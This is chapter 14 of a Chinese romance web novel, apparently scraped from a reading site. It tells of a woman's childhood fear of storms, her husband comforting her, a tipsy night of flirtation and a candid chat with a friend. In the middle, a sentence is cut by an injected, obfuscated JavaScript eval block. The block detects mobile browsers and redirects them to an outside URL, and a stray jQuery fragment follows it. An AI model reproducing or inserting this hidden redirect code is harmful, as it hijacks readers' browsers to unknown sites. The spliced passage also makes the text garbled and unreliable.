14. 第 14 章
作品:《过期情书》 那大概是她八岁那年。
记得当晚下了好大一场雨,当时叶钦兰正在厨房做完饭,她趴在茶几上做作业。
作业写至一半,家中电话响起来。
叶钦兰接通电话,没说两句,身体一软,险些滑落在地。
她跑过去问叶钦兰怎么回事。
叶钦兰才像是回魂一般,勉强撑着桌面站稳,又慌乱的望向她,压下喉咙间的哭腔:“绵绵,你爸爸出车祸现在在医院,妈妈现在需要立刻赶过去,你别害怕,乖乖在家等妈妈回来可以吗?”
叶钦兰心急如焚,不待她回话,便匆匆离家。
那一年她还小,并不知道车祸究竟意味着什么,只看电视里说,出车祸人可能会死。
坐在空荡荡的屋子里,脑海里反复想着温良可能要死了,她的眼睛慢慢涌上泪水。
还未哭出来,却先闻到厨房传来烧焦的味道。
叶钦兰走的匆忙,连火都忘了关。
她手忙脚乱的关了火,又踩了凳子端着水往烧焦的锅里倒。
谁知地上洒了水,凳子打了滑,水还未倒进锅里,她连人带锅打翻在地。
膝盖磕在冷冰冰的地面,不知是痛是怕,她哇的一声哭出来。
可那晚她哭的嗓子都哑了叶钦兰和温良都没回来,窗外雨下了一夜,闪电雷鸣交织,她在恐惧中度过了一整晚。
第二天叶钦兰才回来,将她带至医院。
温良没事,只是受了伤。
可年幼的她,却被那个惊惧的夜晚吓出了心理阴影,后来总在雷雨天做噩梦。
梦里温良和叶钦兰再也没回来。
她永远的被困在了那个雨夜。
说完,温霜降轻轻吐出一口气:“其实也不是什么大事,只是我当时太小了,才会被吓到。”
迟渡安静几秒,倏然开口:“腿上的疤还在吗?”
温霜降抬起腿来,膝盖上的当初的疤已经褪的几乎看不清,只留下一个很淡很淡的痕迹。
她手指轻轻蹭过:“差不多消没了。”
“疤褪了,你父亲也没事,那天的事情不会再发生第二次。”迟渡目光落在她脸上:“别害怕。”
不知是这个夜晚的灯光太过柔和,还是迟渡望向她的目光太让人安心。
这一瞬,持续了一整晚的惊惧,突然就如潮水般褪去。
温霜降回望他,半晌,轻声道:“嗯。”
这次,再睡下,那种紧绷感几近消散,只余下很淡很淡的不安。
有点像跑了很久忽然停下时的惯性。
温霜降闭上眼,下意识的用手指抓了抓被子。
下一秒,迟渡的声音穿过黑暗落在她耳畔:“一般这个时候,你母亲都是怎么做的?”
这问题问的没头没尾,温霜降愣了两秒,才不明所以道:“就,抱着我。”
话音刚落,温霜降感觉一双手伸过来,将她抱进了一个温暖的怀抱。
这夜的后半程,温霜降又做了一个梦。
梦里,在那个八岁的小女孩坐在冰冷的地板上嚎啕大哭时,一个很帅很帅的男人走了进来。
他将她抱起来,帮她处理了膝盖上的伤口,告诉她温良没事,又将她抱在怀里哄了一整夜。
后来,那个小女孩很安然的睡着了,梦里再没有惊惧。
临近暑假前,按着惯例,办公室里的老师们约着吃了一顿饭——温霜降这个暑假不休息,她手里带了一队学生,再有一两个月有个比赛,暑假时要集训。
一顿饭吃的热闹,期间温霜降还喝了一小杯果酒,没醉,但也不可避免染上几丝微醺。
快要散场时,迟渡的电话打了进来,问她什么时候结束。
温霜降说快了,迟渡又问了她聚餐的地点。
他卡点卡的准,一刻后,温霜降前脚刚出餐厅,后脚便看到一辆黑色宾利缓缓停在餐厅门口。车窗降下,那张清冷出尘的脸出现在视线。
她笑着同办公室的老师们打了声招呼,在一一众艳羡揶揄的眼神中上车。
车子驶出一截,不知是不是喝了酒的缘故,温霜降感觉有点闷,她将车窗降下一条缝儿,趴在窗户边儿透气。
车厢内淡淡的果酒味儿弥漫。
迟渡在车厢跳跃的光斑里偏头看过去:“喝酒了?”
温霜降没回头,只轻轻应了声:“喝了一点点。”
不知是不是他的错觉,那道声音比平时要软上几分。
盯着那截好似染上一层淡粉的脖颈静静看了几秒,迟渡才收回视线。
到家,洗过澡,休息。
不知是不是酒精作祟,温霜降不太困,听着黑暗间身侧传来的那道呼吸,冷不丁的,之前许佳月跟她提过的试探又出现在脑海。
上次试探她出身未捷身先死,这次……
或许真是酒醉壮人胆,脑袋里飘飘忽忽的想着,温霜降借着七分扩散开来的酒劲儿,三分鬼迷心窍的清醒,就那么缓缓朝着迟渡凑了过去。
虽然许佳月言简意赅的“指点”过那么几句,但真到了实践的时候,她其实还是不大会。
几乎是没什么章法的,温霜降闭着眼,慢吞吞的将双手缠上了迟渡的脖颈,身体贴至他怀里。
做完,又觉得有些保守。
感觉像一个普通的拥抱。
怕不能奏效,她想了想,又徐徐将小腿环在迟渡腰上。
之后,她没再动。
尽管是借着酒劲儿,这已经是眼下她能做到的最大限度。
窝在迟渡怀里静静等着,温霜降感觉自己的心跳一点一点加速。
可身侧迟迟未有任何动静。
迟渡没说话。
也没动。
就在温霜降以为他已经睡着时,黑暗间,一道视线落在她脸上。
那是一道灼热的视线,一瞬不瞬的凝视着她。
她察觉那道视线一寸一寸的掠过她的脸,带着一种说不出的侵略性,她仿佛能想到那双眼睛是在怎样幽深晦暗的盯着她。
明明无形,温霜降却觉得此刻好似有一只手,一点一点的掠过她的眉心,鼻尖,唇瓣……
细沙一般的触感,激的人心头一阵颤栗。
她眼睫承受不住似的轻颤一下,险些前功尽弃。
也是这一刻,温霜降察觉到了某种变化。
某种不仅很激烈还很清晰的变化。
隔着薄薄的衣料透过来,像是能将人烫伤。
温霜降仿佛触电般,差点克制不住的后撤。
空气也在这一刻变得凝滞,黏腻,好似染上某种潮湿的意味。
而落在她脸上的视线,愈发的浓稠,如同一张网,密不透风的将她笼罩起来。
某个瞬间,温霜降甚至产生一种即将要被拆之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617071|172183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
入腹的感觉。
可没有,就在她心脏几欲跳出心口之际,那道一直停留在她脸上的视线,消失了。
紧接着,她感觉身侧人终于有了动静。
他放轻动作,将她的手从他的脖颈上扯下来,将她的腿放回原位,掀开被子,下了床。
没一会儿,温霜降听到浴室传来沙沙的水声。
第二日清早。
两人在厨房照面。
抬眼的瞬间,都被对方眼下一层淡淡的青黑惊了一惊。
很快,迟渡出声:“昨晚没睡好?”
温霜降说不出的心虚:“嗯,可能是因为喝了酒,有点头疼。”
按理说此时,她该问迟渡一句你呢。
但她没问。
她心知肚明,昨晚到底是谁害得迟渡没睡好。
一顿饭吃的莫名沉默又尴尬,到后面,这种尴尬才慢慢散去,温霜降想到什么,终于抬眸:“对了,你暑假有什么计划吗?”
“提前跟你说一声,我暑假要集训,可能休不了几天。”
她怕迟渡有什么一起出行的计划,到时候她估计无法陪同。
“没。”闻言,迟渡也抬起头来:“我手头有个课题要做,也休不了。”
“好……”
晚上的时候,迟渡打电话过来说加班,晚回一会儿。
许佳月的电话在他之后进来,说吃到一块儿特别好吃的小蛋糕,给她也买了一份。
温霜降便驱车去找许佳月。
到许佳月家,先尝了一口小蛋糕,温霜降才想起来昨晚算是成功的试探。
她舔舔唇角的奶油:“对了,有件事我认为有必要跟你澄清一下。”
“什么?”
“迟渡不是柳下惠。”
许佳月兴致勃勃的放下水杯:“这么说,你们终于睡了?”
“……”
“不是。”温霜降被她直白发言噎了下,顿了顿,才继续用小勺子挖了一口蛋糕送进嘴里:“只是我按着你的说法,试探成功了。”
“没睡你怎么知道是成功了?”
温霜降沉默两秒,想到昨晚,不免有些脸热:“我感受到了。”
不仅感受到了。
还被那个尺寸给吓了一跳。
“什么个意思?”许佳月给她一番描述弄的云里雾里:“迟渡都有反应了但是你们什么都没发生?”
“……”
虽然有些不可思议,但昨晚的事实确实如此。
许佳月在她的不语中逐渐震惊,半晌,实在没忍住,爆了句粗:“我靠,他是真能忍!”
“……”
片刻,温霜降正吃下一颗蛋糕上的蓝莓,许佳月忽然又凑过来,不怀好意的朝她挤挤眉:“温霜降,你完了。”
什么莫名其妙的。
温霜降一头雾水的看着她。
许佳月跟狐狸似的眯眼笑了笑:“你没听说过一句话吗?”
“不在沉默中灭亡,就在沉默中爆发。”
“……”更加听不懂了。
温霜降露出个假笑:“劳烦有话请直说,谢谢。”
“听说像这种巨能忍的男人一旦开了荤,你连床都下不了。”
温霜降微微一怔,眨了眨眼睛:“真的假的?你别骗我……”
许佳月神秘兮兮的朝她笑了笑:“到时候你就知道了。”